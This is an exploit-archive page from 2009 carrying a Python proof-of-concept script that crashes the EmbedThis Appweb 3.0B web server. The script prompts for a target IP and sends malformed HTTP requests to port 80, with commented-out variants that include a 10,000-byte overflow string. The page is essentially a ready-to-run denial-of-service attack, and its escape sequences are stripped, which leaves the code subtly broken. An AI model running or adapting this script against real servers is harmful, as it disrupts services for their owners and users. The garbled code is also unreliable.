[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : EmbedThis Appweb v3.0B.2-4 Multiple Remote Buffer Overflow PoC
# Published : 2009-08-13
# Author : Dr_IDE
# Previous Title : VLC Media Player 1.0.0/1.0.1 smb:// URI Handling BOF PoC
# Next Title : MS Wordpad on winXP SP3 Local Crash Exploit


#!/usr/bin/python
############################################################################
# 
# EmbedThis Appweb v3.0B.2-4 Multiple Remote Buffer Overflow PoCs
# Found By: Dr_IDE
# Based On: http://www.milw0rm.com/exploits/9411
# Tested On: XP SP2
# Notes: These don't seem to actually take down the server, they cause
# a fault in libappweb.dll.
#
############################################################################

from socket import *

# Seems like the server really doesn't like talking to us...
# Anything you send seems to elicit the same crash from the server.

#payload = ("x41" * 10000 + " HTTP/1.1rnrn")
#payload = "HEAD HTTP/1.1rnrn"
#payload = "GET HTTP/1.1rnrn"
#payload = "GET rnrn"
#payload = "HEAD rnrn"
payload = "rnrn"

ip = raw_input(" [*] Enter the target IP: ")
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip, 80))

print " [*] Connecting to Target."
s.send(payload)
print " [*] Sending "payload"..."
print " [*] Crash will pop up in a few seconds."
s.close()
raw_input(" [*] Done, press enter to quit")

# www.Syue.com [2009-08-13]